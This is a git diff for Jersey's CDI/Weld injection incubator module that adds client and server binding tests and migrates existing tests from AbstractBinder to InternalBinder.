diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/ClientOnlyPreinitialization.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/ClientOnlyPreinitialization.java
new file mode 100644
index 0000000..475a726
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/ClientOnlyPreinitialization.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.client;
+
+import org.glassfish.jersey.innate.BootstrapPreinitialization;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+
+import jakarta.ws.rs.RuntimeType;
+
+public class ClientOnlyPreinitialization implements BootstrapPreinitialization {
+    public static interface ClientOnlyInterface {
+
+    }
+    public static class ClientOnlyClassA implements ClientOnlyInterface {
+
+    }
+    public static class ClientOnlyClassB implements ClientOnlyInterface {
+
+    }
+    @Override
+    public void preregister(RuntimeType runtimeType, InjectionManager injectionManager) {
+        injectionManager.register(new InternalBinder() {
+            @Override
+            protected void configure() {
+                bind(ClientOnlyClassA.class).to(ClientOnlyInterface.class);
+                bind(ClientOnlyClassB.class).to(ClientOnlyInterface.class);
+            }
+        });
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/CustomProviderTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/CustomProviderTest.java
new file mode 100644
index 0000000..4d63204
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/CustomProviderTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.client;
+
+import org.glassfish.jersey.inject.weld.ClientTestParent;
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionManagerSupplier;
+import org.glassfish.jersey.message.internal.ReaderWriter;
+import org.glassfish.jersey.process.internal.RequestScoped;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import jakarta.inject.Inject;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.MessageBodyReader;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import jakarta.ws.rs.ext.Provider;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+import java.nio.charset.StandardCharsets;
+
+public class CustomProviderTest extends ClientTestParent {
+
+    private static final String URI = "http://somewhere.nevermind:60000";
+
+    public static class POJO {
+        private final String value;
+
+        public POJO(String value) {
+            this.value = value;
+        }
+
+        @Override
+        public String toString() {
+            return value;
+        }
+    }
+
+    public static class POJOProvider implements MessageBodyReader<POJO>, MessageBodyWriter<POJO> {
+
+        @Override
+        public boolean isReadable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+            return type == POJO.class;
+        }
+
+        @Override
+        public POJO readFrom(Class<POJO> type, Type genericType, Annotation[] annotations, MediaType mediaType,
+                             MultivaluedMap<String, String> httpHeaders, InputStream entityStream)
+                throws IOException, WebApplicationException {
+            return new POJO(ReaderWriter.readFromAsString(entityStream, mediaType));
+        }
+
+        @Override
+        public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+            return type == POJO.class;
+        }
+
+        @Override
+        public void writeTo(POJO pojo, Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType,
+                            MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream)
+                throws IOException, WebApplicationException {
+            entityStream.write(pojo.toString().getBytes(StandardCharsets.UTF_8));
+        }
+    }
+
+    @Test
+    void testCustomRequestFilter() {
+        Response r = ClientBuilder.newClient()
+                .register(new ClientRequestFilter() {
+                    @Override
+                    public void filter(ClientRequestContext requestContext) throws IOException {
+                        InjectionManager im = ((InjectionManagerSupplier) requestContext).getInjectionManager();
+                        assertMultiple(im, ClientRequestFilter.class, 1, this.getClass().getSimpleName());
+                        requestContext.abortWith(Response.ok().build());
+                    }})
+                .target(URI).request()
+                .get();
+        r.close();
+    }
+
+    @Test
+    void testCustomMessageBodyReader() {
+        Response r = ClientBuilder.newClient()
+                .register(new POJOProvider())
+                .register(new ClientRequestFilter() {
+                    @Override
+                    public void filter(ClientRequestContext requestContext) throws IOException {
+                        InjectionManager im = ((InjectionManagerSupplier) requestContext).getInjectionManager();
+                        assertMultiple(im, MessageBodyReader.class, 1, POJOProvider.class.getSimpleName());
+                        requestContext.abortWith(Response.ok().build());
+                    }})
+                .target(URI).request()
+                .get();
+        r.close();
+    }
+
+    @Test
+    void testCustomMessageBodyReaderClass() {
+        Response r = ClientBuilder.newClient()
+                .register(POJOProvider.class)
+                .register(new ClientRequestFilter() {
+                    @Override
+                    public void filter(ClientRequestContext requestContext) throws IOException {
+                        InjectionManager im = ((InjectionManagerSupplier) requestContext).getInjectionManager();
+                        assertMultiple(im, MessageBodyReader.class, 1, POJOProvider.class.getSimpleName());
+                        requestContext.abortWith(Response.ok().build());
+                    }})
+                .target(URI).request()
+                .get();
+        r.close();
+        //post(Entity.entity(new POJO("hello"),MediaType.TEXT_PLAIN_TYPE));
+    }
+
+    static class InjectingClientRequestFilter implements ClientRequestFilter {
+        @Inject
+        Configuration configuration;
+
+        @Override
+        public void filter(ClientRequestContext requestContext) throws IOException {
+            Assertions.assertNotNull(configuration);
+            Assertions.assertTrue(configuration.getClass().getName().contains("ClientConfig$State"));
+            requestContext.abortWith(Response.ok().build());
+        }
+    }
+
+    @Test
+    void testCustomFilterProviderIsInjectable() {
+        try (Response r = ClientBuilder.newClient().register(InjectingClientRequestFilter.class)
+                .target(URI).request().get()) {
+            Assertions.assertEquals(200, r.getStatus());
+        }
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/TestClientRequestFilter.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/TestClientRequestFilter.java
new file mode 100644
index 0000000..f6b4000
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/TestClientRequestFilter.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.client;
+
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionManagerSupplier;
+
+import jakarta.enterprise.context.ApplicationScoped;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.Provider;
+import java.io.IOException;
+
+@Provider
+//@ApplicationScoped
+public class TestClientRequestFilter implements ClientRequestFilter {
+    @Override
+    public void filter(ClientRequestContext requestContext) throws IOException {
+        InjectionManager im = ((InjectionManagerSupplier) requestContext).getInjectionManager();
+        TestParent.assertMultiple(im, ClientRequestFilter.class, 1, CustomProviderTest.POJOProvider.class.getName());
+        requestContext.abortWith(Response.ok().build());
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/common/CoreCommonBindingsTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/common/CoreCommonBindingsTest.java
new file mode 100644
index 0000000..66a4b18
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/common/CoreCommonBindingsTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.common;
+
+import org.glassfish.jersey.inject.weld.ClientTestParent;
+import org.glassfish.jersey.internal.BootstrapBag;
+import org.glassfish.jersey.message.MessageBodyWorkers;
+import org.glassfish.jersey.message.internal.MessageBodyFactory;
+import org.glassfish.jersey.message.internal.MessagingBinders;
+import org.glassfish.jersey.spi.HeaderDelegateProvider;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.ext.MessageBodyReader;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import java.util.Collections;
+import java.util.List;
+
+public class CoreCommonBindingsTest extends ClientTestParent {
+
+    @Test
+    public void testProviders() {
+        injectionManager.completeRegistration();
+        injectionManager.register(new MessagingBinders.HeaderDelegateProviders(RuntimeType.CLIENT));
+        assertMultiple(HeaderDelegateProvider.class, 10, "DateProvider");
+    }
+
+    @Test
+    public void testMessageBodyProviders() {
+        injectionManager.completeRegistration();
+        injectionManager.register(new MessagingBinders.MessageBodyProviders(Collections.emptyMap(), RuntimeType.CLIENT));
+        assertMultiple(MessageBodyReader.class, 10, "StringMessageProvider");
+        assertMultiple(MessageBodyWriter.class, 10, "StringMessageProvider");
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/server/ModelProcessorBindingsTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/server/ModelProcessorBindingsTest.java
new file mode 100644
index 0000000..78c033c
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/server/ModelProcessorBindingsTest.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.server;
+
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.ServerConfig;
+import org.glassfish.jersey.server.internal.JerseyResourceContext;
+import org.glassfish.jersey.server.model.ModelProcessor;
+import org.glassfish.jersey.server.wadl.WadlApplicationContext;
+import org.glassfish.jersey.server.wadl.internal.WadlApplicationContextImpl;
+import org.glassfish.jersey.server.wadl.processor.OptionsMethodProcessor;
+import org.glassfish.jersey.server.wadl.processor.WadlModelProcessor;
+import org.junit.jupiter.api.Test;
+
+import jakarta.inject.Singleton;
+import javax.security.auth.login.Configuration;
+import jakarta.ws.rs.container.ResourceContext;
+
+public class ModelProcessorBindingsTest extends TestParent {
+
+    @Test
+    public void testWadlProcessor() {
+        injectionManager.completeRegistration();
+        injectionManager.register(Bindings.service(new OptionsMethodProcessor()).to(ModelProcessor.class)
+                .id(InjectionIds.SERVER_OPTIONS_METHOD_PROCESSOR.id()));
+        assertMultiple(ModelProcessor.class, 2, WadlModelProcessor.class.getSimpleName(),
+                OptionsMethodProcessor.class.getSimpleName());
+    }
+
+    @Test
+    public void testWadlContext() {
+        injectionManager.register(new InternalBinder() {
+            @Override
+            protected void configure() {
+                bind(new ResourceConfig()).to(ServerConfig.class).to(Configuration.class)
+                        .id(InjectionIds.COMMON_CONFIGURATION.id());
+                bind(new JerseyResourceContext(null, null, null)).to(ResourceContext.class)
+                        .id(InjectionIds.SERVER_RESOURCE_CONTEXT.id());
+                bind(WadlApplicationContextImpl.class).to(WadlApplicationContext.class).in(Singleton.class);
+            }
+        });
+        injectionManager.completeRegistration();
+        assertOneInstance(WadlApplicationContext.class, WadlApplicationContextImpl.class.getSimpleName());
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/server/ServerBindingsTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/server/ServerBindingsTest.java
new file mode 100644
index 0000000..a6a6849
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/server/ServerBindingsTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.server;
+
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.inject.weld.binder.client.ClientOnlyPreinitialization;
+import org.glassfish.jersey.internal.inject.ServiceHolder;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.util.List;
+
+public class ServerBindingsTest extends TestParent {
+    @Test
+    void clientOnlyInstancesTest() {
+        injectionManager.completeRegistration();
+        List<ClientOnlyPreinitialization.ClientOnlyInterface> instances =
+                injectionManager.getAllInstances(ClientOnlyPreinitialization.ClientOnlyInterface.class);
+        Assertions.assertEquals(2, instances.size());
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassA.class)));
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassB.class)));
+    }
+
+    @Test
+    void clientOnlyServiceHoldersTest() {
+        injectionManager.completeRegistration();
+        List<ServiceHolder<ClientOnlyPreinitialization.ClientOnlyInterface>> instances =
+                injectionManager.getAllServiceHolders(ClientOnlyPreinitialization.ClientOnlyInterface.class);
+        Assertions.assertEquals(2, instances.size());
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getInstance().getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassA.class)));
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getInstance().getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassB.class)));
+    }
+}
\ No newline at end of file
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/injector/CachedConstructorAnalyzerTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/injector/CachedConstructorAnalyzerTest.java
index 9a6d8da..5f5b0d3 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/injector/CachedConstructorAnalyzerTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/injector/CachedConstructorAnalyzerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,6 @@
 
 import jakarta.enterprise.inject.InjectionException;
 import jakarta.ws.rs.MatrixParam;
-import jakarta.ws.rs.NotFoundException;
 import jakarta.ws.rs.PathParam;
 import jakarta.ws.rs.core.Context;
 
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/BindingTestHelper.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/BindingTestHelper.java
index f6184eb..c309e63 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/BindingTestHelper.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/BindingTestHelper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.inject.weld.internal.managed;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 
@@ -35,8 +35,8 @@
      * @param injectionManager injection manager which accepts the consumer.
      * @param bindConsumer     consumer to populate a binder.
      */
-    static void bind(InjectionManager injectionManager, Consumer<AbstractBinder> bindConsumer) {
-        AbstractBinder binder = new AbstractBinder() {
+    static void bind(InjectionManager injectionManager, Consumer<InternalBinder> bindConsumer) {
+        InternalBinder binder = new InternalBinder() {
             @Override
             protected void configure() {
                 bindConsumer.accept(this);
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ClientInstanceInjectionTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ClientInstanceInjectionTest.java
index afb04b8..d7dbfbc 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ClientInstanceInjectionTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ClientInstanceInjectionTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,6 +21,7 @@
 import jakarta.inject.Inject;
 import jakarta.ws.rs.RuntimeType;
 
+import org.glassfish.jersey.inject.weld.TestParent;
 import org.glassfish.jersey.inject.weld.managed.CdiInjectionManagerFactory;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.junit.jupiter.api.Assertions;
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/DisposableSupplierTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/DisposableSupplierTest.java
index ee96847..7efa92e 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/DisposableSupplierTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/DisposableSupplierTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,6 +27,7 @@
 import jakarta.inject.Inject;
 import jakarta.ws.rs.core.GenericType;
 
+import org.glassfish.jersey.inject.weld.TestParent;
 import org.glassfish.jersey.inject.weld.internal.bean.BeanHelper;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.process.internal.RequestScope;
@@ -346,7 +347,7 @@
 
     /**
      * PerLookup fields are not disposed therefore they should never be used as a DisposedSupplier because the field stay in
-     * {@link org.glassfish.jersey.inject.weld.bean.SupplierClassBean} forever.
+     * {@link org.glassfish.jersey.inject.weld.internal.bean.SupplierClassBean} forever.
      */
     @Test
     public void testDisposeComposedObjectWithPerLookupFields() {
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/InjectionManagerTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/InjectionManagerTest.java
index 7be66d9..f3f6dda 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/InjectionManagerTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/InjectionManagerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,6 +20,7 @@
 import jakarta.inject.Inject;
 import jakarta.ws.rs.RuntimeType;
 
+import org.glassfish.jersey.inject.weld.TestParent;
 import org.glassfish.jersey.inject.weld.managed.CdiInjectionManagerFactory;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.junit.jupiter.api.Assertions;
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderInjectionTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderInjectionTest.java
index 42aadeb..be86070 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderInjectionTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderInjectionTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,7 +26,8 @@
 import jakarta.inject.Provider;
 import jakarta.ws.rs.core.Context;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 
 import org.hamcrest.core.StringStartsWith;
 import org.junit.jupiter.api.Assertions;
@@ -213,7 +214,7 @@
 
     private static class ProviderInjectionTestExtension implements Extension {
         void registerBindings(@Observes BeforeBeanDiscovery beforeBeanDiscovery, BeanManager beanManager) {
-            AbstractBinder testBinder = new AbstractBinder() {
+            InternalBinder testBinder = new InternalBinder() {
                 @Override
                 protected void configure() {
                     bind(CzechGreeting.class).to(Greeting.class);
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierClassBindingTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierClassBindingTest.java
index 7db2804..6910367 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierClassBindingTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierClassBindingTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,7 +27,8 @@
 import jakarta.inject.Inject;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 
 import org.hamcrest.core.StringStartsWith;
 import org.junit.jupiter.api.BeforeAll;
@@ -285,7 +286,7 @@
 
     private static class SupplierClassBindingTestExtension implements Extension {
         void registerBindings(@Observes BeforeBeanDiscovery beforeBeanDiscovery, BeanManager beanManager) {
-            AbstractBinder testBinder = new AbstractBinder() {
+            InternalBinder testBinder = new InternalBinder() {
                 @Override
                 protected void configure() {
                     bindFactory(SupplierGreeting.class).to(Greeting.class);
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierContractsTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierContractsTest.java
index 3f67389..4e197c8 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierContractsTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierContractsTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,7 +25,7 @@
 import jakarta.enterprise.inject.spi.Extension;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 
 import org.glassfish.jersey.internal.inject.Injections;
@@ -51,10 +51,10 @@
     protected static SeContainer container;
     protected InjectionManager injectionManager;
 
-    public void setup(Consumer<AbstractBinder> binding) {
+    public void setup(Consumer<InternalBinder> binding) {
         Extension extension = new Extension() {
             void registerBindings(@Observes BeforeBeanDiscovery beforeBeanDiscovery, BeanManager beanManager) {
-                AbstractBinder testBinder = new AbstractBinder() {
+                InternalBinder testBinder = new InternalBinder() {
                     @Override
                     protected void configure() {
                         binding.accept(this);
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierInstanceBindingTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierInstanceBindingTest.java
index 9c247a9..3769d4b 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierInstanceBindingTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierInstanceBindingTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,8 @@
 import jakarta.inject.Inject;
 import jakarta.ws.rs.core.GenericType;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 
 import org.hamcrest.core.StringStartsWith;
 import org.junit.jupiter.api.BeforeEach;
@@ -220,7 +221,7 @@
 
     private static class SupplierInstanceBindingTestExtension implements Extension {
         void registerBindings(@Observes BeforeBeanDiscovery beforeBeanDiscovery, BeanManager beanManager) {
-            AbstractBinder testBinder = new AbstractBinder() {
+            InternalBinder testBinder = new InternalBinder() {
                 @Override
                 protected void configure() {
